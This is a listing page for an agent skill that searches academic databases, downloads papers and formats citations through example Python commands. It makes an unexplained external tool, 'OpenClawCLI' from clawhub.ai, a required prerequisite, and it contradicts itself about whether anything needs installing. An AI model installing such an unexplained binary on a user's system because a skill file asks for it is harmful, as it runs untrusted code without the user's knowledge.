Agent skill · research science · bighardperson
academic-research-hub
Use this skill when users need to search academic papers, download research documents, extract citations, or gather scholarly information. Triggers include: requests to \"find papers on\", \"search research about\", \"download academic articles\", \"get citations for\", or any request involving academic databases like arXiv, PubMed, Semantic Scholar, or Google Scholar. Also use for literature reviews, bibliography generation, and research discovery. Requires OpenClawCLI installation from clawhub.ai.
Why this skill is useful
Adds executable scripts for searching and retrieving academic papers across multiple databases, which the AI cannot generate on its own.
What it needs
Requires openclawcli installed locally. About 9k tokens when loaded. Last updated 2026-04-26. 34 stars on the source repository.
What this skill does
Academic Research Hub Search and retrieve academic papers from multiple sources including arXiv, PubMed, Semantic Scholar, and more. Download PDFs, extract citations, generate bibliographies, and build literature reviews. ⚠️ Prerequisite: Install OpenClawCLI (Windows, MacOS) Installation Best Practices: Never use --break-system-packages as it can damage your system's Python installation. --- Quick Reference Task Command ------ --------- Search arXiv python scripts/research.py arxiv "quantum computing" Search PubMed python scripts/research.py pubmed "covid vaccine" Search Semantic Scholar python scripts/research.py semantic "machine learning" Download papers python scripts/research.py arxiv "topic" --download Get citations python scripts/research.py arxiv "topic" --citations Generate bibliography python scripts/research.py arxiv "topic" --format bibtex Save results python scripts/research.py arxiv "topic" --output results.json --- Core Features 1. Multi-Source Search Search across multiple academic databases from a single interface. Supported Sources: arXiv - Physics, mathematics, computer science, quantitative biology, quantitative finance, statistics PubMed - Biomedical and life sciences literature Semantic Scholar - Computer science and interdisciplinary research Google Scholar - Broad academic search (limited, no API) 2. Paper Download Download full-text PDFs when available. 3. Citation Extraction Extract and format citations from papers. Supported formats: BibTeX RIS JSON Plain text 4. Metadata Retrieval Get comprehensive metadata for each paper: Title, authors, abstract Publication date Journal/conference DOI, arXiv ID, PubMed ID Citation count References --- Source-Specific Commands arXiv Search Search the arXiv repository for preprints. …
How to use it
Reference it in AdaL, Claude Code, Cursor or any coding agent — nothing to install:
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